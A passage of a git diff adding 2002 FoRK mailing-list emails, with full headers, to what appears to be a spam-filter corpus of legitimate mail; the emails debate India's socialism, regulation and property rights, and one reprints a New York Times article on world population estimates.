+List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 15:34:18 -0700 + +I think that this and other articles confuse Socialism with +Bureaucracy. Libertarianism as implemented in North America is not +exactly the shining pinnacle of economic efficiency. + +Just try starting a telephone company in the US or (even worse) +Canada. It can take a year or more to get the blessing of our own +"Permit Rajs" at the FCC, PUC, and PTTs (or, in the decidedly more +socialist leaning Canada, Industry Canada and the CRTC). + +Yet, despite all of this intense regulation and paper pushing, as +well as regulatory scrutiny by the FTC, SEC, and IRS, the +executives of Telecom Companies have managed to bilk the investment +community for what looks to be tens of billions of dollars. They +finished their routine with the a quadruple lutz -- laying off +hundreds of thousands of workers when it all came crashing down. + +So.. tell me again.. how are we better off? + +-Ian. + + +On Tuesday, August 20, 2002, at 12:09 PM, John Hall wrote: + +The Mystery of Capital: Why Capitalism Triumphs in the West and Fails +Everywhere Else -- by Hernando De Soto + +Is something I'm reading now. + +My impression is that France is not anywhere near the "Permit Raj" +nightmare that India is (and became). Nor has its market been closed +like India's has. + +But De Soto's work is perhaps just as important or more so. He hasn't +dealt specifically with India, but I recall examples from Peru, +Philippines, and Egypt. In Lima, his team took over a year (I think it +was 2) working 8 hr days to legally register a 1 person company. In the +Philippines, getting legal title can take 20 years. In Egypt, about 80% +of the population in Cairo lives in places where they are officially +illegal. + +India hasn't been helped by its socialism. Socialism has certainly +helped strangle the country in permits. But perhaps De Soto is right +that the real crippling thing is keeping most of the people out of the +legal, official property system. + +Putting most of the people in the property system was something the west +only finished about 100 years ago, or Japan did 50 years ago. It wasn't +easy, but we live in a society that doesn't even remember we did it. + + +-----Original Message----- +From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Robert +Harley +Sent: Tuesday, August 20, 2002 11:24 AM +To: fork@spamassassin.taint.org +Subject: Re: The Curse of India's Socialism + +RAH quoted: +Indians are not poor because there are too many of them; they are +poor +because there are too many regulations and too much government +intervention +-- even today, a decade after reforms were begun. India's greatest +problems +arise from a political culture guided by socialist instincts on the +one +hand and an imbedded legal obligation on the other hand. + +Nice theory and all, but s/India/France/g and the statements hold just +as true, yet France is #12 in the UN's HDI ranking, not #124. + + +Since all parties must stand for socialism, no party espouses +classical liberalism + +I'm not convinced that that classical liberalism is a good solution +for countries in real difficulty. See Joseph Stiglitz (Nobel for +Economics) on the FMI's failed remedies. Of course googling on +"Stiglitz FMI" only brings up links in Spanish and French. I guess +that variety of spin is non grata in many anglo circles. + + +http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01108.29f8f564902b3f0e5f19d1a5fa49b74d b/bayes/spamham/easy_ham_2/01108.29f8f564902b3f0e5f19d1a5fa49b74d new file mode 100644 index 0000000..dac2292 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01108.29f8f564902b3f0e5f19d1a5fa49b74d @@ -0,0 +1,201 @@ +From fork-admin@xent.com Wed Aug 21 00:40:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B806743C32 + for ; Tue, 20 Aug 2002 19:40:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 00:40:46 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7KNcPZ30025 for ; + Wed, 21 Aug 2002 00:38:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9DE192940B4; Tue, 20 Aug 2002 16:36:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barry.mail.mindspring.net (barry.mail.mindspring.net + [207.69.200.25]) by xent.com (Postfix) with ESMTP id 561BA294099 for + ; Tue, 20 Aug 2002 16:35:27 -0700 (PDT) +Received: from user-119ac86.biz.mindspring.com ([66.149.49.6]) by + barry.mail.mindspring.net with esmtp (Exim 3.33 #1) id 17hIYV-00043y-00; + Tue, 20 Aug 2002 19:36:59 -0400 +MIME-Version: 1.0 +X-Sender: rahettinga@pop.earthlink.net +Message-Id: +To: Digital Bearer Settlement List , fork@spamassassin.taint.org +From: "R. A. Hettinga" +Subject: Experts Scale Back Estimates of World Population Growth +Content-Type: text/plain; charset="us-ascii" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 19:36:15 -0400 + +The demographic transition, where birthrates are lowered by increased life +expectancy, seems to be happening faster than the experts have anticipated. +I attribute this apparently precipitous decline in "sustainable" +development to the twin evils of increasing personal freedom and economic +globalization. + +Somebody oughta pass a law to prevent those things, of course, before it's +too late. The People's way of life *must* be preserved in its natural, +pre-industrial state, or we'll lose it forever. + +;-). + +Cheers, +RAH + + +http://www.nytimes.com/2002/08/20/science/earth/20POPU.html?pagewanted=print&position=top + +The New York Times +August 20, 2002 +Experts Scale Back Estimates of World Population Growth +By BARBARA CROSSETTE + +Demography has never been an exact science. Ever since social thinkers +began trying to predict the pace of population growth a century or two ago, +the people being counted have been surprising the experts and confounding +projections. Today, it is happening again as stunned demographers watch +birthrates plunge in ways they never expected. + +Only a few years ago, some experts argued that economic development and +education for women were necessary precursors for declines in population +growth. Today, village women and slum families in some of the poorest +countries are beginning to prove them wrong, as fertility rates drop faster +than predicted toward the replacement level - 2.1 children for the average +mother, one baby to replace each parent, plus a fraction to compensate for +unexpected deaths in the overall population. + +A few decades ago in certain countries like Brazil, Egypt, India and Mexico +fertility rates were as high as five or six. + +As a result, United Nations demographers who once predicted the earth's +population would peak at 12 billion over the next century or two are +scaling back their estimates. Instead, they cautiously predict, the world's +population will peak at 10 billion before 2200, when it may begin declining. + +Some experts are wary of too much optimism, however. At the Population +Council, an independent research organization in New York, Dr. John +Bongaarts has studied population declines in various countries over the +last half century. He questions the assumption that when fertility declines +begin they will continue to go down at the same pace, especially if good +family planning services are not widely available. + +Sharp fertility declines in many industrialized and middle-income countries +had already challenged another old belief: that culture and religion would +thwart efforts to cut fertility. In Italy, a Roman Catholic country whose +big families were the stuff of cinema, family size is shrinking faster than +anywhere else in Europe, and the population is aging rapidly as fewer +children are born. Islamic Iran has also had great success with family +planning. + +"Projections aren't terribly accurate over the long haul," said Dr. +Nicholas Eberstadt, a demography expert at the American Enterprise +Institute in Washington. "Demographers have been surprised by just about +every big fertility change in the modern period. Demographers didn't +anticipate the baby boom. They did not anticipate the subsequent decline in +fertility in industrialized Western democracies." + +What's next? Demographers can agree generally on a few measurable facts and +some trends. The world's population, now 6.2 billion, quadrupled in the +20th century, and changed in drastic ways. In 1900, 86 percent of the +world's people lived in rural areas and about 14 percent in urban areas. By +2000, urban communities were home to 47 percent of the population, with 53 +percent still in the countryside. + +Between now and 2030, when the global population is expected to reach about +eight billion, almost all the growth will be in cities. But urbanization is +not necessarily a bad thing for the environment, said Dr. Joseph Chamie, +director of the United Nations' population division. + +"Moving to cities frees up the land for forestry, agriculture and many +other activities," Dr. Chamie said. "You're getting people concentrated, so +you can probably recycle more easily. People change their lifestyles. The +Indian moving from the boonies of Uttar Pradesh to the city of Lucknow gets +educational opportunities, cultural opportunities, all sorts of political +participation. He can be influenced by advertising and public relations +campaigns. Immunization will be better, and family planning." + +As births fall and lives are extended, the global population is getting +older. The over-80 age group is the fastest growing. + +But not everywhere. For example, the United Nations calculates that life +expectancy at birth is being slashed in countries hardest hit by AIDS. In +South Africa, the life of a baby born now should be 66 years; AIDS has cut +that to 47. In Zimbabwe, the drop has been to 43 years from 69. In +Botswana, it is 36 years, down from 70. + +Another cautionary sign from projections is that where populations are +continuing to grow fastest, societies and governments may be least likely +to cope with the results, including strains on natural resources - +farmland, water, air, forests and animals. + +Last year, the organization published a report and wall chart, "Population, +Environment and Development," plotting and analyzing population changes as +its contribution to the debate surrounding the Johannesburg summit meeting. + +The United Nations estimates that the world's current population, 6.2 +billion, is growing at an annual rate slightly over 1.2 percent, producing +some 77 million people. Of this growth, 97 percent is taking place in +less-developed countries, said Dr. Chamie, whose position at the United +Nations makes him chief keeper of the world's statistics. Six nations will +dominate this growth, and in this order: India, China, Pakistan, Nigeria, +Bangladesh and Indonesia. + +Thus, though fertility is declining unexpectedly in a poor country like +India, which has more than a billion people, the actual numbers continue to +rise rapidly because the base is so large. India is gaining as many people +annually as China, Pakistan and Nigeria combined, the United Nations says. + +India is projected to have at least 100 million more people than China by +2050, even if China's one-child policy is relaxed. Small families are now +the norm for the Chinese, whose standard of living has risen above that of +the people of India by many measures. + +Among industrialized countries, the United States alone has a growth rate +comparable to that of developing nations. It now ranks seventh in growth, +Dr. Chamie said, but 80 percent of that growth comes from immigration. In +Europe, populations are shrinking, even with more immigration. + +With much of the population bulge predicted in Asia, the East-West Center +in Honolulu has just published a report, "The Future of Population in +Asia," which finds cause to fear considerable environmental stress in a +region where population densities and numbers are often great. Asia, the +report notes, already has 56 percent of the world's population living on 31 +percent of its arable land, and more than 900 million people exist on less +than $1 a day. + +"Asia faces the most acute pressure on arable agricultural land of any +region in the world," the report says, adding that expansion of farmland +has been made at the cost of forests. Acute water scarcity, a significant +loss of biodiversity and more urban pollution seem inevitable. Twelve of +the world's 15 most polluted cities are in Asia. By 2020, the report +predicts, Asia will be producing more carbon dioxide emissions than any +other region. + +"When looking at current and future environmental concerns in Asia," the +report concludes, "the number of people to be fed, clothed, housed, +transported, educated and employed may not be the only issue, but it is an +issue that cannot be ignored." + +-- +----------------- +R. A. Hettinga +The Internet Bearer Underwriting Corporation +44 Farquhar Street, Boston, MA 02131 USA +"... however it may deserve respect for its usefulness and antiquity, +[predicting the end of the world] has not been found agreeable to +experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01109.02564d3915a1cb4514acca1baa0e694f b/bayes/spamham/easy_ham_2/01109.02564d3915a1cb4514acca1baa0e694f new file mode 100644 index 0000000..b300394 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01109.02564d3915a1cb4514acca1baa0e694f @@ -0,0 +1,276 @@ +From fork-admin@xent.com Wed Aug 21 02:44:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DC9D943C32 + for ; Tue, 20 Aug 2002 21:44:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 02:44:54 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7L1gPZ04534 for ; + Wed, 21 Aug 2002 02:42:26 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 85C2D2940A7; Tue, 20 Aug 2002 18:40:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 587E3294099 for ; Tue, + 20 Aug 2002 18:39:05 -0700 (PDT) +Received: (qmail 21260 invoked from network); 21 Aug 2002 01:40:42 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 21 Aug 2002 01:40:42 -0000 +Reply-To: +From: "John Hall" +To: +Subject: RE: The Curse of India's Socialism +Message-Id: <000c01c248b3$bbf95260$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +In-Reply-To: <20020820194356.27509.qmail@web14007.mail.yahoo.com> +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 18:40:30 -0700 + + +The question is why are they still poor? + +Especially given the success of Indian immigrants in other societies? + +South Korea was a lot poorer after the Korean war than Ghana when it +gained its independence at about the same time. That was after India +gained independence, and Korea couldn't have been in better shape at +that point than India (my impression). + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +> sateesh narahari +> Sent: Tuesday, August 20, 2002 12:44 PM +> To: fork@spamassassin.taint.org +> Subject: Re: The Curse of India's Socialism +> +> All good arguments, except till you realize that +> majority of indians were poor even before +> independence. +> +> Sateesh +> +> +> --- "R. A. Hettinga" wrote: +> > +> http://online.wsj.com/article_print/0,,SB1029790639190441115,00.html +> > +> > +> > The Wall Street Journal +> > +> > August 20, 2002 +> > COMMENTARY +> > +> > The Curse of India's Socialism +> > +> > By CHRISTOPHER LINGLE +> > +> > In a classic case of deflecting blame for their own +> > shortcomings, +> > politicians in India have identified the size of the +> > population as the +> > country's biggest problem. This position was stated +> > in a unanimous +> > parliamentary resolution passed on the 50th +> > anniversary of independence. +> > Half a decade later, it is a belief that still +> > resonates with many. Yet it +> > is hard to imagine a more cynical view. If left free +> > from the extensive +> > interference of various levels of government, the +> > energy and creativity of +> > the Indian people could soon allow them to be among +> > the richest on earth. +> > +> > Indians are not poor because there are too many of +> > them; they are poor +> > because there are too many regulations and too much +> > government intervention +> > -- even today, a decade after reforms were begun. +> > India's greatest problems +> > arise from a political culture guided by socialist +> > instincts on the one +> > hand and an imbedded legal obligation on the other +> > hand. +> > +> > While India's political culture reflects the beliefs +> > of its founding +> > fathers, there is the additional matter of the +> > modified preamble to its +> > constitution that specifies: "India is a sovereign, +> > secular, socialist +> > republic." It was Indira Gandhi who had the words +> > "socialist" and "secular" +> > added in the late 1970s. At the same time, she also +> > amended the relevant +> > section in the Representation of Peoples Act to +> > require that all recognized +> > and registered parties swear by this preamble. Since +> > all parties must stand +> > for socialism, no party espouses classical +> > liberalism (yet there are +> > numerous communist parties). +> > +> > While one can appreciate the difficulty of +> > abandoning ideas with such +> > honored lineage, the fact that socialism has been +> > widely discredited and +> > abandoned in most places should prompt Indians to +> > reconsider this +> > commitment. Despite evidence of its failure as an +> > economic system, many of +> > the socialists who carry on do so by trying to +> > proclaim that their dogma +> > reinforces certain civic virtues. A presumed merit +> > of socialism is that it +> > aims to nurture a greater sense of collective +> > identity by suppressing the +> > narrow self-interest of individuals. However, this +> > aspect of socialism lies +> > at the heart of its failure both as a political tool +> > as well as the basis +> > for economic policy. +> > +> > Let's start with the economic failures of socialism. +> > Most of the grand +> > experiments have been ignominiously abandoned or +> > recast in tortured terms +> > such as the "Third Way" that defer to the importance +> > of markets and +> > individual incentives. Unfortunately, it took a +> > great deal of human +> > suffering before socialists abandoned their goal of +> > trying to create an +> > economic system on the basis of collective goals. +> > +> > Socialist ideologues are impervious to evidence that +> > their system inspires +> > even more human misery in the civic realm. This is +> > because socialism +> > provides the political mechanism for and legitimacy +> > by which people +> > identify as members of groups. While it may suit the +> > socialist agenda to +> > create them-and-us scenarios relating to workers and +> > capitalists or +> > peasants and urban dwellers, this logic is readily +> > converted to other types +> > of divisions. +> > +> > In the case of India, competition for power has +> > increasingly become +> > identified with religiosity or ethnicity, as is +> > evident by the rise of the +> > Bharatiya Janata Party, supported by radical +> > Hindutva supporters. As +> > elsewhere, political parties based on religion are +> > by their very nature +> > exclusionary. These narrow concepts of identity work +> > against nation +> > building since such a politics forces arrangements +> > that cannot accommodate +> > notions of universal values. +> > +> > Socialism also sets the stage for populist promises +> > of taking from one +> > group to support another. This variety of political +> > posturing by the +> > Congress Party was used to build a coalition of +> > disaffected minorities. In +> > turn, the BJP built its power base on a promise to +> > restore power to Hindus. +> > And so it is that India's heritage of socialist +> > ideology provided the +> > beginnings of a political culture that evolved into +> > sectarian populism that +> > has wrought cycles of communal violence. Populism +> > with its solicitations of +> > political patronage, whether based upon nationalism +> > or some other ploy, is +> > also open to the sort of rampant corruption so +> > evident in India. +> > +> > At issue in India is nothing less than the role of +> > the state. Should it be +> > used as a mechanism to protect the freedom and +> > rights of individuals? Or +> > should the state be a vehicle for groups to gain +> > power? It should be clear +> > the latter approach would lead to the destruction of +> > India's democracy +> > while the former will allow it to survive. +> > +> > It is undeniable that India's public policy guided +> > by socialism has +> > promoted divisions that contributed to social +> > instability and economic +> > destruction. This dangerous game has only served the +> > narrow interests of +> > those who seek to capture or preserve power. That +> > India is a "socialist" +> > state, specified in a preamble to the constitution, +> > makes this binding +> > commitment evident in the nature of interventionist +> > policies that have +> > wrought slower economic growth causing great harm to +> > the poor and unskilled +> > who have lost access to economic opportunities. +> > Socialism also introduced +> > forces that are destroying India's hard-earned +> > democracy. A paradigm shift +> > in the nature of Indian politics is needed so the +> > state ceases serving as a +> > mechanism for groups to gain power and instead +> > becomes an instrument to +> > secure rights and freedoms for individuals. +> > +> > Mr. Lingle is professor of economics at Universidad +> > Francisco Marroquin in +> > Guatemala, and global strategist for +> > eConoLytics.com. +> > +> > +> > +> > -- +> > ----------------- +> > R. A. Hettinga +> > The Internet Bearer Underwriting Corporation +> > +> > 44 Farquhar Street, Boston, MA 02131 USA +> > "... however it may deserve respect for its +> > usefulness and antiquity, +> > [predicting the end of the world] has not been found +> > agreeable to +> > experience." -- Edward Gibbon, 'Decline and Fall of +> > the Roman Empire' +> > http://xent.com/mailman/listinfo/fork +> +> +> __________________________________________________ +> Do You Yahoo!? +> HotJobs - Search Thousands of New Jobs +> http://www.hotjobs.com +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01110.f114ae941961c47d048d7538dbda2503 b/bayes/spamham/easy_ham_2/01110.f114ae941961c47d048d7538dbda2503 new file mode 100644 index 0000000..8c730d6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01110.f114ae941961c47d048d7538dbda2503 @@ -0,0 +1,96 @@ +From fork-admin@xent.com Wed Aug 21 04:02:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6D15D43C32 + for ; Tue, 20 Aug 2002 23:02:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 04:02:05 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7L31UZ06801 for ; + Wed, 21 Aug 2002 04:01:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A80B629409D; Tue, 20 Aug 2002 19:59:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id 918AB294099 for ; Tue, + 20 Aug 2002 19:58:50 -0700 (PDT) +Received: (qmail 93641 invoked from network); 21 Aug 2002 03:00:27 -0000 +Received: from adsl-66-124-227-176.dsl.snfc21.pacbell.net (HELO golden) + (66.124.227.176) by relay1.pair.com with SMTP; 21 Aug 2002 03:00:27 -0000 +X-Pair-Authenticated: 66.124.227.176 +Message-Id: <075901c248be$e383ffa0$640a000a@golden> +From: "Gordon Mohr" +To: +References: +Subject: Re: The Curse of India's Socialism +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Tue, 20 Aug 2002 20:00:20 -0700 + +Ian Andrew Bell writes: +> I think that this and other articles confuse Socialism with +> Bureaucracy. Libertarianism as implemented in North America is not +> exactly the shining pinnacle of economic efficiency. + +Libertarianism is implemented in North America? Where?!?!? + +> Just try starting a telephone company in the US or (even worse) +> Canada. It can take a year or more to get the blessing of our own +> "Permit Rajs" at the FCC, PUC, and PTTs (or, in the decidedly more +> socialist leaning Canada, Industry Canada and the CRTC). + +Telecom regulations are an example of implemented Libertarianism? + +And for how screwed up North America's telecom industries and +regulators are, they're better than much of the rest of the +world, where it doesn't just "take a year or more" to get +started: it's impossible/illegal. + +Matters of degree, matter. + +> Yet, despite all of this intense regulation and paper pushing, as +> well as regulatory scrutiny by the FTC, SEC, and IRS, the +> executives of Telecom Companies have managed to bilk the investment +> community for what looks to be tens of billions of dollars. They +> finished their routine with the a quadruple lutz -- laying off +> hundreds of thousands of workers when it all came crashing down. +> +> So.. tell me again.. how are we better off? + +We can lose billions of dollars, and have hundreds of thousands of +people laid off... and after it all, our diets, health, longevity, +and freedom to pursue activities of our own choosing are still the +envy of billions of people. + +Would you rather be unemployed, broke, and in possession of career +skills which merely match the local average in: + + - North America, or + - India/Peru/Egypt/Philippines/etc + +???? + +- Gordon + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01111.f52cdabb2215145b4eae813546e1a60d b/bayes/spamham/easy_ham_2/01111.f52cdabb2215145b4eae813546e1a60d new file mode 100644 index 0000000..db2a21a --- /dev/null +++ b/bayes/spamham/easy_ham_2/01111.f52cdabb2215145b4eae813546e1a60d @@ -0,0 +1,64 @@ +From fork-admin@xent.com Wed Aug 21 18:16:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3765643C34 + for ; Wed, 21 Aug 2002 13:16:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 18:16:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LHEEZ02937 for ; + Wed, 21 Aug 2002 18:14:14 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 464ED29417E; Wed, 21 Aug 2002 10:05:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f205.law15.hotmail.com [64.4.23.205]) by + xent.com (Postfix) with ESMTP id 4A9D82940AE for ; + Wed, 21 Aug 2002 10:04:49 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Wed, 21 Aug 2002 10:06:29 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Wed, 21 Aug 2002 17:06:29 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: The Curse of India's Socialism +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 21 Aug 2002 17:06:29.0591 (UTC) FILETIME=[177C4670:01C24935] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 17:06:29 +0000 + +Owen Byrne: +>The factbook calls it "welfare capitalism" - don't really care if its +>socialism or capitalism, it still seems like an alternative to North +>American 'capitalism.' + +It's not so much an alternative as it is a small +variant of the US's own welfare capitalism. In +these matters, we're like brothers who think our +differences great, not seeing that we are like peas +in a pod until we compare ourselves to strangers +from other cultures and lands. Of course, yes, it +does make a difference to the unemployed whether +they are collecting benefits in Texas or New York. + + +_________________________________________________________________ +Send and receive Hotmail on your mobile device: http://mobile.msn.com + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01112.2ebc0954a762e294408747e7a0d4c270 b/bayes/spamham/easy_ham_2/01112.2ebc0954a762e294408747e7a0d4c270 new file mode 100644 index 0000000..38493d9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01112.2ebc0954a762e294408747e7a0d4c270 @@ -0,0 +1,64 @@ +From fork-admin@xent.com Wed Aug 21 18:16:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4FC0843C36 + for ; Wed, 21 Aug 2002 13:16:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 18:16:14 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LHH8Z02989 for ; + Wed, 21 Aug 2002 18:17:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5A90A29417A; Wed, 21 Aug 2002 10:12:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mandark.labs.netnoteinc.com (unknown [212.2.178.26]) by + xent.com (Postfix) with ESMTP id 6B5AF294162 for ; + Wed, 21 Aug 2002 10:11:34 -0700 (PDT) +Received: from phobos.labs.netnoteinc.com (phobos.labs.netnoteinc.com + [192.168.2.14]) by mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP + id g7LHD4p06600; Wed, 21 Aug 2002 18:13:04 +0100 +Received: by phobos.labs.netnoteinc.com (Postfix, from userid 500) id + 9972E43C32; Wed, 21 Aug 2002 13:10:34 -0400 (EDT) +Received: from phobos (localhost [127.0.0.1]) by + phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8745133D88; + Wed, 21 Aug 2002 18:10:34 +0100 (IST) +To: "Gordon Mohr" +Cc: fork@spamassassin.taint.org +Subject: Re: The Curse of India's Socialism +In-Reply-To: Message from + "Gordon Mohr" + of + "Wed, 21 Aug 2002 10:00:36 PDT." + <004701c24934$45af7950$640a000a@golden> +From: yyyy@spamassassin.taint.org (Justin Mason) +X-GPG-Key-Fingerprint: 0A48 2D8B 0B52 A87D 0E8A 6ADD 4137 1B50 6E58 EF0A +Message-Id: <20020821171034.9972E43C32@phobos.labs.netnoteinc.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Wed, 21 Aug 2002 18:10:29 +0100 + + +"Gordon Mohr" said: + +> If you plan to spend most of your time in that broke/ +> unemployed/unexceptional mode, please, leave North America +> for Scandinavia. + +hmm, I might, at least they've got affordable DSL there, and haven't +signed a DMCA-like law yet ;) + +--j. +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01113.5102bc151dac98f4fcb8e96c15a828c3 b/bayes/spamham/easy_ham_2/01113.5102bc151dac98f4fcb8e96c15a828c3 new file mode 100644 index 0000000..ca82fa8 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01113.5102bc151dac98f4fcb8e96c15a828c3 @@ -0,0 +1,109 @@ +From fork-admin@xent.com Thu Aug 22 10:46:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3808943C32 + for ; Thu, 22 Aug 2002 05:46:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7LI7RZ04434 for ; + Wed, 21 Aug 2002 19:07:28 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id EE9E1294139; Wed, 21 Aug 2002 11:05:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from jamesr.best.vwh.net (jamesr.best.vwh.net [192.220.76.165]) + by xent.com (Postfix) with SMTP id C9BD82940AE for ; + Wed, 21 Aug 2002 11:04:17 -0700 (PDT) +Received: (qmail 52208 invoked by uid 19621); 21 Aug 2002 18:05:40 -0000 +Received: from unknown (HELO avalon) ([64.125.200.18]) (envelope-sender + ) by 192.220.76.165 (qmail-ldap-1.03) with SMTP for + ; 21 Aug 2002 18:05:40 -0000 +Subject: RE: The Curse of India's Socialism +From: James Rogers +To: fork@spamassassin.taint.org +In-Reply-To: <200208202116.OAA07065@maltesecat> +References: <200208202116.OAA07065@maltesecat> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Evolution/1.0.2-5mdk +Message-Id: <1029953998.17276.32.camel@avalon> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: 